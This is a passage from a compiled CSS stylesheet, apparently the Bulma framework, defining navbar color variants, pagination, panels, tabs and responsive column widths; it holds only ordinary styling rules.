.navbar-link,\n .navbar.is-primary .navbar-item.has-dropdown.is-active .navbar-link {\n background-color: #e63c00;\n color: #fff; }\n .navbar.is-primary .navbar-dropdown a.navbar-item.is-active {\n background-color: #ff4300;\n color: #fff; } }\n .navbar.is-link {\n background-color: #3273dc;\n color: #fff; }\n .navbar.is-link .navbar-brand > .navbar-item,\n .navbar.is-link .navbar-brand .navbar-link {\n color: #fff; }\n .navbar.is-link .navbar-brand > a.navbar-item:hover, .navbar.is-link .navbar-brand > a.navbar-item.is-active,\n .navbar.is-link .navbar-brand .navbar-link:hover,\n .navbar.is-link .navbar-brand .navbar-link.is-active {\n background-color: #2366d1;\n color: #fff; }\n .navbar.is-link .navbar-brand .navbar-link::after {\n border-color: #fff; }\n @media screen and (min-width: 1088px) {\n .navbar.is-link .navbar-start > .navbar-item,\n .navbar.is-link .navbar-start .navbar-link,\n .navbar.is-link .navbar-end > .navbar-item,\n .navbar.is-link .navbar-end .navbar-link {\n color: #fff; }\n .navbar.is-link .navbar-start > a.navbar-item:hover, .navbar.is-link .navbar-start > a.navbar-item.is-active,\n .navbar.is-link .navbar-start .navbar-link:hover,\n .navbar.is-link .navbar-start .navbar-link.is-active,\n .navbar.is-link .navbar-end > a.navbar-item:hover,\n .navbar.is-link .navbar-end > a.navbar-item.is-active,\n .navbar.is-link .navbar-end .navbar-link:hover,\n .navbar.is-link .navbar-end .navbar-link.is-active {\n background-color: #2366d1;\n color: #fff; }\n .navbar.is-link .navbar-start .navbar-link::after,\n .navbar.is-link .navbar-end .navbar-link::after {\n border-color: #fff; }\n .navbar.is-link .navbar-item.has-dropdown:hover .navbar-link,\n .navbar.is-link .navbar-item.has-dropdown.is-active .navbar-link {\n background-color: #2366d1;\n color: #fff; }\n .navbar.is-link .navbar-dropdown a.navbar-item.is-active {\n background-color: #3273dc;\n color: #fff; } }\n .navbar.is-info {\n background-color: #209cee;\n color: #fff; }\n .navbar.is-info .navbar-brand > .navbar-item,\n .navbar.is-info .navbar-brand .navbar-link {\n color: #fff; }\n .navbar.is-info .navbar-brand > a.navbar-item:hover, .navbar.is-info .navbar-brand > a.navbar-item.is-active,\n .navbar.is-info .navbar-brand .navbar-link:hover,\n .navbar.is-info .navbar-brand .navbar-link.is-active {\n background-color: #118fe4;\n color: #fff; }\n .navbar.is-info .navbar-brand .navbar-link::after {\n border-color: #fff; }\n @media screen and (min-width: 1088px) {\n .navbar.is-info .navbar-start > .navbar-item,\n .navbar.is-info .navbar-start .navbar-link,\n .navbar.is-info .navbar-end > .navbar-item,\n .navbar.is-info .navbar-end .navbar-link {\n color: #fff; }\n .navbar.is-info .navbar-start > a.navbar-item:hover, .navbar.is-info .navbar-start > a.navbar-item.is-active,\n .navbar.is-info .navbar-start .navbar-link:hover,\n .navbar.is-info .navbar-start .navbar-link.is-active,\n .navbar.is-info .navbar-end > a.navbar-item:hover,\n .navbar.is-info .navbar-end > a.navbar-item.is-active,\n .navbar.is-info .navbar-end .navbar-link:hover,\n .navbar.is-info .navbar-end .navbar-link.is-active {\n background-color: #118fe4;\n color: #fff; }\n .navbar.is-info .navbar-start .navbar-link::after,\n .navbar.is-info .navbar-end .navbar-link::after {\n border-color: #fff; }\n .navbar.is-info .navbar-item.has-dropdown:hover .navbar-link,\n .navbar.is-info .navbar-item.has-dropdown.is-active .navbar-link {\n background-color: #118fe4;\n color: #fff; }\n .navbar.is-info .navbar-dropdown a.navbar-item.is-active {\n background-color: #209cee;\n color: #fff; } }\n .navbar.is-success {\n background-color: #23d160;\n color: #fff; }\n .navbar.is-success .navbar-brand > .navbar-item,\n .navbar.is-success .navbar-brand .navbar-link {\n color: #fff; }\n .navbar.is-success .navbar-brand > a.navbar-item:hover, .navbar.is-success .navbar-brand > a.navbar-item.is-active,\n .navbar.is-success .navbar-brand .navbar-link:hover,\n .navbar.is-success .navbar-brand .navbar-link.is-active {\n background-color: #20bc56;\n color: #fff; }\n .navbar.is-success .navbar-brand .navbar-link::after {\n border-color: #fff; }\n @media screen and (min-width: 1088px) {\n .navbar.is-success .navbar-start > .navbar-item,\n .navbar.is-success .navbar-start .navbar-link,\n .navbar.is-success .navbar-end > .navbar-item,\n .navbar.is-success .navbar-end .navbar-link {\n color: #fff; }\n .navbar.is-success .navbar-start > a.navbar-item:hover, .navbar.is-success .navbar-start > a.navbar-item.is-active,\n .navbar.is-success .navbar-start .navbar-link:hover,\n .navbar.is-success .navbar-start .navbar-link.is-active,\n .navbar.is-success .navbar-end > a.navbar-item:hover,\n .navbar.is-success .navbar-end > a.navbar-item.is-active,\n .navbar.is-success .navbar-end .navbar-link:hover,\n .navbar.is-success .navbar-end .navbar-link.is-active {\n background-color: #20bc56;\n color: #fff; }\n .navbar.is-success .navbar-start .navbar-link::after,\n .navbar.is-success .navbar-end .navbar-link::after {\n border-color: #fff; }\n .navbar.is-success .navbar-item.has-dropdown:hover .navbar-link,\n .navbar.is-success .navbar-item.has-dropdown.is-active .navbar-link {\n background-color: #20bc56;\n color: #fff; }\n .navbar.is-success .navbar-dropdown a.navbar-item.is-active {\n background-color: #23d160;\n color: #fff; } }\n .navbar.is-warning {\n background-color: #ffdd57;\n color: rgba(0, 0, 0, 0.7); }\n .navbar.is-warning .navbar-brand > .navbar-item,\n .navbar.is-warning .navbar-brand .navbar-link {\n color: rgba(0, 0, 0, 0.7); }\n .navbar.is-warning .navbar-brand > a.navbar-item:hover, .navbar.is-warning .navbar-brand > a.navbar-item.is-active,\n .navbar.is-warning .navbar-brand .navbar-link:hover,\n .navbar.is-warning .navbar-brand .navbar-link.is-active {\n background-color: #ffd83d;\n color: rgba(0, 0, 0, 0.7); }\n .navbar.is-warning .navbar-brand .navbar-link::after {\n border-color: rgba(0, 0, 0, 0.7); }\n @media screen and (min-width: 1088px) {\n .navbar.is-warning .navbar-start > .navbar-item,\n .navbar.is-warning .navbar-start .navbar-link,\n .navbar.is-warning .navbar-end > .navbar-item,\n .navbar.is-warning .navbar-end .navbar-link {\n color: rgba(0, 0, 0, 0.7); }\n .navbar.is-warning .navbar-start > a.navbar-item:hover, .navbar.is-warning .navbar-start > a.navbar-item.is-active,\n .navbar.is-warning .navbar-start .navbar-link:hover,\n .navbar.is-warning .navbar-start .navbar-link.is-active,\n .navbar.is-warning .navbar-end > a.navbar-item:hover,\n .navbar.is-warning .navbar-end > a.navbar-item.is-active,\n .navbar.is-warning .navbar-end .navbar-link:hover,\n .navbar.is-warning .navbar-end .navbar-link.is-active {\n background-color: #ffd83d;\n color: rgba(0, 0, 0, 0.7); }\n .navbar.is-warning .navbar-start .navbar-link::after,\n .navbar.is-warning .navbar-end .navbar-link::after {\n border-color: rgba(0, 0, 0, 0.7); }\n .navbar.is-warning .navbar-item.has-dropdown:hover .navbar-link,\n .navbar.is-warning .navbar-item.has-dropdown.is-active .navbar-link {\n background-color: #ffd83d;\n color: rgba(0, 0, 0, 0.7); }\n .navbar.is-warning .navbar-dropdown a.navbar-item.is-active {\n background-color: #ffdd57;\n color: rgba(0, 0, 0, 0.7); } }\n .navbar.is-danger {\n background-color: #ff3860;\n color: #fff; }\n .navbar.is-danger .navbar-brand > .navbar-item,\n .navbar.is-danger .navbar-brand .navbar-link {\n color: #fff; }\n .navbar.is-danger .navbar-brand > a.navbar-item:hover, .navbar.is-danger .navbar-brand > a.navbar-item.is-active,\n .navbar.is-danger .navbar-brand .navbar-link:hover,\n .navbar.is-danger .navbar-brand .navbar-link.is-active {\n background-color: #ff1f4b;\n color: #fff; }\n .navbar.is-danger .navbar-brand .navbar-link::after {\n border-color: #fff; }\n @media screen and (min-width: 1088px) {\n .navbar.is-danger .navbar-start > .navbar-item,\n .navbar.is-danger .navbar-start .navbar-link,\n .navbar.is-danger .navbar-end > .navbar-item,\n .navbar.is-danger .navbar-end .navbar-link {\n color: #fff; }\n .navbar.is-danger .navbar-start > a.navbar-item:hover, .navbar.is-danger .navbar-start > a.navbar-item.is-active,\n .navbar.is-danger .navbar-start .navbar-link:hover,\n .navbar.is-danger .navbar-start .navbar-link.is-active,\n .navbar.is-danger .navbar-end > a.navbar-item:hover,\n .navbar.is-danger .navbar-end > a.navbar-item.is-active,\n .navbar.is-danger .navbar-end .navbar-link:hover,\n .navbar.is-danger .navbar-end .navbar-link.is-active {\n background-color: #ff1f4b;\n color: #fff; }\n .navbar.is-danger .navbar-start .navbar-link::after,\n .navbar.is-danger .navbar-end .navbar-link::after {\n border-color: #fff; }\n .navbar.is-danger .navbar-item.has-dropdown:hover .navbar-link,\n .navbar.is-danger .navbar-item.has-dropdown.is-active .navbar-link {\n background-color: #ff1f4b;\n color: #fff; }\n .navbar.is-danger .navbar-dropdown a.navbar-item.is-active {\n background-color: #ff3860;\n color: #fff; } }\n .navbar > .container {\n align-items: stretch;\n display: flex;\n min-height: 3.25rem;\n width: 100%; }\n .navbar.has-shadow {\n box-shadow: 0 2px 3px rgba(10, 10, 10, 0.1); }\n .navbar.is-fixed-bottom, .navbar.is-fixed-top {\n left: 0;\n position: fixed;\n right: 0;\n z-index: 30; }\n .navbar.is-fixed-bottom {\n bottom: 0; }\n .navbar.is-fixed-bottom.has-shadow {\n box-shadow: 0 -2px 3px rgba(10, 10, 10, 0.1); }\n .navbar.is-fixed-top {\n top: 0; }\n\nhtml.has-navbar-fixed-top,\nbody.has-navbar-fixed-top {\n padding-top: 3.25rem; }\n\nhtml.has-navbar-fixed-bottom,\nbody.has-navbar-fixed-bottom {\n padding-bottom: 3.25rem; }\n\n.navbar-brand,\n.navbar-tabs {\n align-items: stretch;\n display: flex;\n flex-shrink: 0;\n min-height: 3.25rem; }\n\n.navbar-brand a.navbar-item:hover {\n background-color: transparent; }\n\n.navbar-tabs {\n -webkit-overflow-scrolling: touch;\n max-width: 100vw;\n overflow-x: auto;\n overflow-y: hidden; }\n\n.navbar-burger {\n cursor: pointer;\n display: block;\n height: 3.25rem;\n position: relative;\n width: 3.25rem;\n margin-left: auto; }\n .navbar-burger span {\n background-color: currentColor;\n display: block;\n height: 1px;\n left: calc(50% - 8px);\n position: absolute;\n transform-origin: center;\n transition-duration: 86ms;\n transition-property: background-color, opacity, transform;\n transition-timing-function: ease-out;\n width: 16px; }\n .navbar-burger span:nth-child(1) {\n top: calc(50% - 6px); }\n .navbar-burger span:nth-child(2) {\n top: calc(50% - 1px); }\n .navbar-burger span:nth-child(3) {\n top: calc(50% + 4px); }\n .navbar-burger:hover {\n background-color: rgba(0, 0, 0, 0.05); }\n .navbar-burger.is-active span:nth-child(1) {\n transform: translateY(5px) rotate(45deg); }\n .navbar-burger.is-active span:nth-child(2) {\n opacity: 0; }\n .navbar-burger.is-active span:nth-child(3) {\n transform: translateY(-5px) rotate(-45deg); }\n\n.navbar-menu {\n display: none; }\n\n.navbar-item,\n.navbar-link {\n color: #4a4a4a;\n display: block;\n line-height: 1.5;\n padding: 0.5rem 0.75rem;\n position: relative; }\n .navbar-item .icon:only-child,\n .navbar-link .icon:only-child {\n margin-left: -0.25rem;\n margin-right: -0.25rem; }\n\na.navbar-item,\n.navbar-link {\n cursor: pointer; }\n a.navbar-item:hover, a.navbar-item.is-active,\n .navbar-link:hover,\n .navbar-link.is-active {\n background-color: #fafafa;\n color: #3273dc; }\n\n.navbar-item {\n display: block;\n flex-grow: 0;\n flex-shrink: 0; }\n .navbar-item img {\n max-height: 1.75rem; }\n .navbar-item.has-dropdown {\n padding: 0; }\n .navbar-item.is-expanded {\n flex-grow: 1;\n flex-shrink: 1; }\n .navbar-item.is-tab {\n border-bottom: 1px solid transparent;\n min-height: 3.25rem;\n padding-bottom: calc(0.5rem - 1px); }\n .navbar-item.is-tab:hover {\n background-color: transparent;\n border-bottom-color: #3273dc; }\n .navbar-item.is-tab.is-active {\n background-color: transparent;\n border-bottom-color: #3273dc;\n border-bottom-style: solid;\n border-bottom-width: 3px;\n color: #3273dc;\n padding-bottom: calc(0.5rem - 3px); }\n\n.navbar-content {\n flex-grow: 1;\n flex-shrink: 1; }\n\n.navbar-link {\n padding-right: 2.5em; }\n .navbar-link::after {\n border-color: #3273dc;\n margin-top: -0.375em;\n right: 1.125em; }\n\n.navbar-dropdown {\n font-size: 0.875rem;\n padding-bottom: 0.5rem;\n padding-top: 0.5rem; }\n .navbar-dropdown .navbar-item {\n padding-left: 1.5rem;\n padding-right: 1.5rem; }\n\n.navbar-divider {\n background-color: whitesmoke;\n border: none;\n display: none;\n height: 2px;\n margin: 0.5rem 0; }\n\n@media screen and (max-width: 1087px) {\n .navbar > .container {\n display: block; }\n .navbar-brand .navbar-item,\n .navbar-tabs .navbar-item {\n align-items: center;\n display: flex; }\n .navbar-link::after {\n display: none; }\n .navbar-menu {\n background-color: white;\n box-shadow: 0 8px 16px rgba(10, 10, 10, 0.1);\n padding: 0.5rem 0; }\n .navbar-menu.is-active {\n display: block; }\n .navbar.is-fixed-bottom-touch, .navbar.is-fixed-top-touch {\n left: 0;\n position: fixed;\n right: 0;\n z-index: 30; }\n .navbar.is-fixed-bottom-touch {\n bottom: 0; }\n .navbar.is-fixed-bottom-touch.has-shadow {\n box-shadow: 0 -2px 3px rgba(10, 10, 10, 0.1); }\n .navbar.is-fixed-top-touch {\n top: 0; }\n .navbar.is-fixed-top .navbar-menu, .navbar.is-fixed-top-touch .navbar-menu {\n -webkit-overflow-scrolling: touch;\n max-height: calc(100vh - 3.25rem);\n overflow: auto; }\n html.has-navbar-fixed-top-touch,\n body.has-navbar-fixed-top-touch {\n padding-top: 3.25rem; }\n html.has-navbar-fixed-bottom-touch,\n body.has-navbar-fixed-bottom-touch {\n padding-bottom: 3.25rem; } }\n\n@media screen and (min-width: 1088px) {\n .navbar,\n .navbar-menu,\n .navbar-start,\n .navbar-end {\n align-items: stretch;\n display: flex; }\n .navbar {\n min-height: 3.25rem; }\n .navbar.is-spaced {\n padding: 1rem 2rem; }\n .navbar.is-spaced .navbar-start,\n .navbar.is-spaced .navbar-end {\n align-items: center; }\n .navbar.is-spaced a.navbar-item,\n .navbar.is-spaced .navbar-link {\n border-radius: 4px; }\n .navbar.is-transparent a.navbar-item:hover, .navbar.is-transparent a.navbar-item.is-active,\n .navbar.is-transparent .navbar-link:hover,\n .navbar.is-transparent .navbar-link.is-active {\n background-color: transparent !important; }\n .navbar.is-transparent .navbar-item.has-dropdown.is-active .navbar-link, .navbar.is-transparent .navbar-item.has-dropdown.is-hoverable:hover .navbar-link {\n background-color: transparent !important; }\n .navbar.is-transparent .navbar-dropdown a.navbar-item:hover {\n background-color: whitesmoke;\n color: #0a0a0a; }\n .navbar.is-transparent .navbar-dropdown a.navbar-item.is-active {\n background-color: whitesmoke;\n color: #3273dc; }\n .navbar-burger {\n display: none; }\n .navbar-item,\n .navbar-link {\n align-items: center;\n display: flex; }\n .navbar-item {\n display: flex; }\n .navbar-item.has-dropdown {\n align-items: stretch; }\n .navbar-item.has-dropdown-up .navbar-link::after {\n transform: rotate(135deg) translate(0.25em, -0.25em); }\n .navbar-item.has-dropdown-up .navbar-dropdown {\n border-bottom: 2px solid #dbdbdb;\n border-radius: 6px 6px 0 0;\n border-top: none;\n bottom: 100%;\n box-shadow: 0 -8px 8px rgba(10, 10, 10, 0.1);\n top: auto; }\n .navbar-item.is-active .navbar-dropdown, .navbar-item.is-hoverable:hover .navbar-dropdown {\n display: block; }\n .navbar.is-spaced .navbar-item.is-active .navbar-dropdown, .navbar-item.is-active .navbar-dropdown.is-boxed, .navbar.is-spaced .navbar-item.is-hoverable:hover .navbar-dropdown, .navbar-item.is-hoverable:hover .navbar-dropdown.is-boxed {\n opacity: 1;\n pointer-events: auto;\n transform: translateY(0); }\n .navbar-menu {\n flex-grow: 1;\n flex-shrink: 0; }\n .navbar-start {\n justify-content: flex-start;\n margin-right: auto; }\n .navbar-end {\n justify-content: flex-end;\n margin-left: auto; }\n .navbar-dropdown {\n background-color: white;\n border-bottom-left-radius: 6px;\n border-bottom-right-radius: 6px;\n border-top: 2px solid #dbdbdb;\n box-shadow: 0 8px 8px rgba(10, 10, 10, 0.1);\n display: none;\n font-size: 0.875rem;\n left: 0;\n min-width: 100%;\n position: absolute;\n top: 100%;\n z-index: 20; }\n .navbar-dropdown .navbar-item {\n padding: 0.375rem 1rem;\n white-space: nowrap; }\n .navbar-dropdown a.navbar-item {\n padding-right: 3rem; }\n .navbar-dropdown a.navbar-item:hover {\n background-color: whitesmoke;\n color: #0a0a0a; }\n .navbar-dropdown a.navbar-item.is-active {\n background-color: whitesmoke;\n color: #3273dc; }\n .navbar.is-spaced .navbar-dropdown, .navbar-dropdown.is-boxed {\n border-radius: 6px;\n border-top: none;\n box-shadow: 0 8px 8px rgba(10, 10, 10, 0.1), 0 0 0 1px rgba(10, 10, 10, 0.1);\n display: block;\n opacity: 0;\n pointer-events: none;\n top: calc(100% + (-4px));\n transform: translateY(-5px);\n transition-duration: 86ms;\n transition-property: opacity, transform; }\n .navbar-dropdown.is-right {\n left: auto;\n right: 0; }\n .navbar-divider {\n display: block; }\n .navbar > .container .navbar-brand,\n .container > .navbar .navbar-brand {\n margin-left: -1rem; }\n .navbar > .container .navbar-menu,\n .container > .navbar .navbar-menu {\n margin-right: -1rem; }\n .navbar.is-fixed-bottom-desktop, .navbar.is-fixed-top-desktop {\n left: 0;\n position: fixed;\n right: 0;\n z-index: 30; }\n .navbar.is-fixed-bottom-desktop {\n bottom: 0; }\n .navbar.is-fixed-bottom-desktop.has-shadow {\n box-shadow: 0 -2px 3px rgba(10, 10, 10, 0.1); }\n .navbar.is-fixed-top-desktop {\n top: 0; }\n html.has-navbar-fixed-top-desktop,\n body.has-navbar-fixed-top-desktop {\n padding-top: 3.25rem; }\n html.has-navbar-fixed-bottom-desktop,\n body.has-navbar-fixed-bottom-desktop {\n padding-bottom: 3.25rem; }\n html.has-spaced-navbar-fixed-top,\n body.has-spaced-navbar-fixed-top {\n padding-top: 5.25rem; }\n html.has-spaced-navbar-fixed-bottom,\n body.has-spaced-navbar-fixed-bottom {\n padding-bottom: 5.25rem; }\n a.navbar-item.is-active,\n .navbar-link.is-active {\n color: #0a0a0a; }\n a.navbar-item.is-active:not(:hover),\n .navbar-link.is-active:not(:hover) {\n background-color: transparent; }\n .navbar-item.has-dropdown:hover .navbar-link, .navbar-item.has-dropdown.is-active .navbar-link {\n background-color: #fafafa; } }\n\n.pagination {\n font-size: 1rem;\n margin: -0.25rem; }\n .pagination.is-small {\n font-size: 0.75rem; }\n .pagination.is-medium {\n font-size: 1.25rem; }\n .pagination.is-large {\n font-size: 1.5rem; }\n .pagination.is-rounded .pagination-previous,\n .pagination.is-rounded .pagination-next {\n padding-left: 1em;\n padding-right: 1em;\n border-radius: 290486px; }\n .pagination.is-rounded .pagination-link {\n border-radius: 290486px; }\n\n.pagination,\n.pagination-list {\n align-items: center;\n display: flex;\n justify-content: center;\n text-align: center; }\n\n.pagination-previous,\n.pagination-next,\n.pagination-link,\n.pagination-ellipsis {\n font-size: 1em;\n padding-left: 0.5em;\n padding-right: 0.5em;\n justify-content: center;\n margin: 0.25rem;\n text-align: center; }\n\n.pagination-previous,\n.pagination-next,\n.pagination-link {\n border-color: #dbdbdb;\n color: #363636;\n min-width: 2.25em; }\n .pagination-previous:hover,\n .pagination-next:hover,\n .pagination-link:hover {\n border-color: #b5b5b5;\n color: #363636; }\n .pagination-previous:focus,\n .pagination-next:focus,\n .pagination-link:focus {\n border-color: #3273dc; }\n .pagination-previous:active,\n .pagination-next:active,\n .pagination-link:active {\n box-shadow: inset 0 1px 2px rgba(10, 10, 10, 0.2); }\n .pagination-previous[disabled],\n .pagination-next[disabled],\n .pagination-link[disabled] {\n background-color: #dbdbdb;\n border-color: #dbdbdb;\n box-shadow: none;\n color: #7a7a7a;\n opacity: 0.5; }\n\n.pagination-previous,\n.pagination-next {\n padding-left: 0.75em;\n padding-right: 0.75em;\n white-space: nowrap; }\n\n.pagination-link.is-current {\n background-color: #3273dc;\n border-color: #3273dc;\n color: #fff; }\n\n.pagination-ellipsis {\n color: #b5b5b5;\n pointer-events: none; }\n\n.pagination-list {\n flex-wrap: wrap; }\n\n@media screen and (max-width: 768px) {\n .pagination {\n flex-wrap: wrap; }\n .pagination-previous,\n .pagination-next {\n flex-grow: 1;\n flex-shrink: 1; }\n .pagination-list li {\n flex-grow: 1;\n flex-shrink: 1; } }\n\n@media screen and (min-width: 769px), print {\n .pagination-list {\n flex-grow: 1;\n flex-shrink: 1;\n justify-content: flex-start;\n order: 1; }\n .pagination-previous {\n order: 2; }\n .pagination-next {\n order: 3; }\n .pagination {\n justify-content: space-between; }\n .pagination.is-centered .pagination-previous {\n order: 1; }\n .pagination.is-centered .pagination-list {\n justify-content: center;\n order: 2; }\n .pagination.is-centered .pagination-next {\n order: 3; }\n .pagination.is-right .pagination-previous {\n order: 1; }\n .pagination.is-right .pagination-next {\n order: 2; }\n .pagination.is-right .pagination-list {\n justify-content: flex-end;\n order: 3; } }\n\n.panel {\n font-size: 1rem; }\n .panel:not(:last-child) {\n margin-bottom: 1.5rem; }\n\n.panel-heading,\n.panel-tabs,\n.panel-block {\n border-bottom: 1px solid #dbdbdb;\n border-left: 1px solid #dbdbdb;\n border-right: 1px solid #dbdbdb; }\n .panel-heading:first-child,\n .panel-tabs:first-child,\n .panel-block:first-child {\n border-top: 1px solid #dbdbdb; }\n\n.panel-heading {\n background-color: whitesmoke;\n border-radius: 4px 4px 0 0;\n color: #363636;\n font-size: 1.25em;\n font-weight: 300;\n line-height: 1.25;\n padding: 0.5em 0.75em; }\n\n.panel-tabs {\n align-items: flex-end;\n display: flex;\n font-size: 0.875em;\n justify-content: center; }\n .panel-tabs a {\n border-bottom: 1px solid #dbdbdb;\n margin-bottom: -1px;\n padding: 0.5em; }\n .panel-tabs a.is-active {\n border-bottom-color: #4a4a4a;\n color: #363636; }\n\n.panel-list a {\n color: #4a4a4a; }\n .panel-list a:hover {\n color: #3273dc; }\n\n.panel-block {\n align-items: center;\n color: #363636;\n display: flex;\n justify-content: flex-start;\n padding: 0.5em 0.75em; }\n .panel-block input[type="checkbox"] {\n margin-right: 0.75em; }\n .panel-block > .control {\n flex-grow: 1;\n flex-shrink: 1;\n width: 100%; }\n .panel-block.is-wrapped {\n flex-wrap: wrap; }\n .panel-block.is-active {\n border-left-color: #3273dc;\n color: #363636; }\n .panel-block.is-active .panel-icon {\n color: #3273dc; }\n\na.panel-block,\nlabel.panel-block {\n cursor: pointer; }\n a.panel-block:hover,\n label.panel-block:hover {\n background-color: whitesmoke; }\n\n.panel-icon {\n display: inline-block;\n font-size: 14px;\n height: 1em;\n line-height: 1em;\n text-align: center;\n vertical-align: top;\n width: 1em;\n color: #7a7a7a;\n margin-right: 0.75em; }\n .panel-icon .fa {\n font-size: inherit;\n line-height: inherit; }\n\n.tabs {\n -webkit-overflow-scrolling: touch;\n align-items: stretch;\n display: flex;\n font-size: 1rem;\n justify-content: space-between;\n overflow: hidden;\n overflow-x: auto;\n white-space: nowrap; }\n .tabs a {\n align-items: center;\n border-bottom-color: #dbdbdb;\n border-bottom-style: solid;\n border-bottom-width: 1px;\n color: #4a4a4a;\n display: flex;\n justify-content: center;\n margin-bottom: -1px;\n padding: 0.5em 1em;\n vertical-align: top; }\n .tabs a:hover {\n border-bottom-color: #363636;\n color: #363636; }\n .tabs li {\n display: block; }\n .tabs li.is-active a {\n border-bottom-color: #3273dc;\n color: #3273dc; }\n .tabs ul {\n align-items: center;\n border-bottom-color: #dbdbdb;\n border-bottom-style: solid;\n border-bottom-width: 1px;\n display: flex;\n flex-grow: 1;\n flex-shrink: 0;\n justify-content: flex-start; }\n .tabs ul.is-left {\n padding-right: 0.75em; }\n .tabs ul.is-center {\n flex: none;\n justify-content: center;\n padding-left: 0.75em;\n padding-right: 0.75em; }\n .tabs ul.is-right {\n justify-content: flex-end;\n padding-left: 0.75em; }\n .tabs .icon:first-child {\n margin-right: 0.5em; }\n .tabs .icon:last-child {\n margin-left: 0.5em; }\n .tabs.is-centered ul {\n justify-content: center; }\n .tabs.is-right ul {\n justify-content: flex-end; }\n .tabs.is-boxed a {\n border: 1px solid transparent;\n border-radius: 4px 4px 0 0; }\n .tabs.is-boxed a:hover {\n background-color: whitesmoke;\n border-bottom-color: #dbdbdb; }\n .tabs.is-boxed li.is-active a {\n background-color: white;\n border-color: #dbdbdb;\n border-bottom-color: transparent !important; }\n .tabs.is-fullwidth li {\n flex-grow: 1;\n flex-shrink: 0; }\n .tabs.is-toggle a {\n border-color: #dbdbdb;\n border-style: solid;\n border-width: 1px;\n margin-bottom: 0;\n position: relative; }\n .tabs.is-toggle a:hover {\n background-color: whitesmoke;\n border-color: #b5b5b5;\n z-index: 2; }\n .tabs.is-toggle li + li {\n margin-left: -1px; }\n .tabs.is-toggle li:first-child a {\n border-radius: 4px 0 0 4px; }\n .tabs.is-toggle li:last-child a {\n border-radius: 0 4px 4px 0; }\n .tabs.is-toggle li.is-active a {\n background-color: #3273dc;\n border-color: #3273dc;\n color: #fff;\n z-index: 1; }\n .tabs.is-toggle ul {\n border-bottom: none; }\n .tabs.is-toggle.is-toggle-rounded li:first-child a {\n border-bottom-left-radius: 290486px;\n border-top-left-radius: 290486px;\n padding-left: 1.25em; }\n .tabs.is-toggle.is-toggle-rounded li:last-child a {\n border-bottom-right-radius: 290486px;\n border-top-right-radius: 290486px;\n padding-right: 1.25em; }\n .tabs.is-small {\n font-size: 0.75rem; }\n .tabs.is-medium {\n font-size: 1.25rem; }\n .tabs.is-large {\n font-size: 1.5rem; }\n\n.column {\n display: block;\n flex-basis: 0;\n flex-grow: 1;\n flex-shrink: 1;\n padding: 0.75rem; }\n .columns.is-mobile > .column.is-narrow {\n flex: none; }\n .columns.is-mobile > .column.is-full {\n flex: none;\n width: 100%; }\n .columns.is-mobile > .column.is-three-quarters {\n flex: none;\n width: 75%; }\n .columns.is-mobile > .column.is-two-thirds {\n flex: none;\n width: 66.6666%; }\n .columns.is-mobile > .column.is-half {\n flex: none;\n width: 50%; }\n .columns.is-mobile > .column.is-one-third {\n flex: none;\n width: 33.3333%; }\n .columns.is-mobile > .column.is-one-quarter {\n flex: none;\n width: 25%; }\n .columns.is-mobile > .column.is-one-fifth {\n flex: none;\n width: 20%; }\n .columns.is-mobile > .column.is-two-fifths {\n flex: none;\n width: 40%; }\n .columns.is-mobile > .column.is-three-fifths {\n flex: none;\n width: 60%; }\n .columns.is-mobile > .column.is-four-fifths {\n flex: none;\n width: 80%; }\n .columns.is-mobile > .column.is-offset-three-quarters {\n margin-left: 75%; }\n .columns.is-mobile > .column.is-offset-two-thirds {\n margin-left: 66.6666%; }\n .columns.is-mobile > .column.is-offset-half {\n margin-left: 50%; }\n .columns.is-mobile > .column.is-offset-one-third {\n margin-left: 33.3333%; }\n .columns.is-mobile > .column.is-offset-one-quarter {\n margin-left: 25%; }\n .columns.is-mobile > .column.is-offset-one-fifth {\n margin-left: 20%; }\n .columns.is-mobile > .column.is-offset-two-fifths {\n margin-left: 40%; }\n .columns.is-mobile > .column.is-offset-three-fifths {\n margin-left: 60%; }\n .columns.is-mobile > .column.is-offset-four-fifths {\n margin-left: 80%; }\n .columns.is-mobile > .column.is-1 {\n flex: none;\n width: 8.33333%; }\n .columns.is-mobile > .column.is-offset-1 {\n margin-left: 8.33333%; }\n .columns.is-mobile > .column.is-2 {\n flex: none;\n width: 16.66667%; }\n .columns.is-mobile > .column.is-offset-2 {\n margin-left: 16.66667%; }\n .columns.is-mobile > .column.is-3 {\n flex: none;\n width: 25%; }\n .columns.is-mobile > .column.is-offset-3 {\n margin-left: 25%; }\n .columns.is-mobile > .column.is-4 {\n flex: none;\n width: 33.33333%; }\n .columns.is-mobile > .column.is-offset-4 {\n margin-left: 33.33333%; }\n .columns.is-mobile > .column.is-5 {\n flex: none;\n width: 41.66667%; }\n .columns.is-mobile > .column.is-offset-5 {\n margin-left: 41.66667%; }\n .columns.is-mobile > .column.is-6 {\n flex: none;\n width: 50%; }\n .columns.is-mobile > .column.is-offset-6 {\n margin-left: 50%; }\n .columns.is-mobile > .column.is-7 {\n flex: none;\n width: 58.33333%; }\n .columns.is-mobile > .column.is-offset-7 {\n margin-left: 58.33333%; }\n .columns.is-mobile > .column.is-8 {\n flex: none;\n width: 66.66667%; }\n .columns.is-mobile > .column.is-offset-8 {\n margin-left: 66.66667%; }\n .columns.is-mobile > .column.is-9 {\n flex: none;\n width: 75%; }\n .columns.is-mobile > .column.is-offset-9 {\n margin-left: 75%; }\n .columns.is-mobile > .column.is-10 {\n flex: none;\n width: 83.33333%; }\n .columns.is-mobile > .column.is-offset-10 {\n margin-left: 83.33333%; }\n .columns.is-mobile > .column.is-11 {\n flex: none;\n width: 91.66667%; }\n .columns.is-mobile > .column.is-offset-11 {\n margin-left: 91.66667%; }\n .columns.is-mobile > .column.is-12 {\n flex: none;\n width: 100%; }\n .columns.is-mobile > .column.is-offset-12 {\n margin-left: 100%; }\n @media screen and (max-width: 768px) {\n .column.is-narrow-mobile {\n flex: none; }\n .column.is-full-mobile {\n flex: none;\n width: 100%; }\n .column.is-three-quarters-mobile {\n flex: none;\n width: 75%; }\n .column.is-two-thirds-mobile {\n flex: none;\n width: 66.6666%; }\n .column.is-half-mobile {\n flex: none;\n width: 50%; }\n .column.is-one-third-mobile {\n flex: none;\n width: 33.3333%; }\n .column.is-one-quarter-mobile {\n flex: none;\n width: 25%; }\n .column.is-one-fifth-mobile {\n flex: none;\n width: 20%; }\n .column.is-two-fifths-mobile {\n flex: none;\n width: 40%; }\n .column.is-three-fifths-mobile {\n flex: none;\n width: 60%; }\n .column.is-four-fifths-mobile {\n flex: none;\n width: 80%; }\n .column.is-offset-three-quarters-mobile {\n margin-left: 75%; }\n .column.is-offset-two-thirds-mobile {\n margin-left: 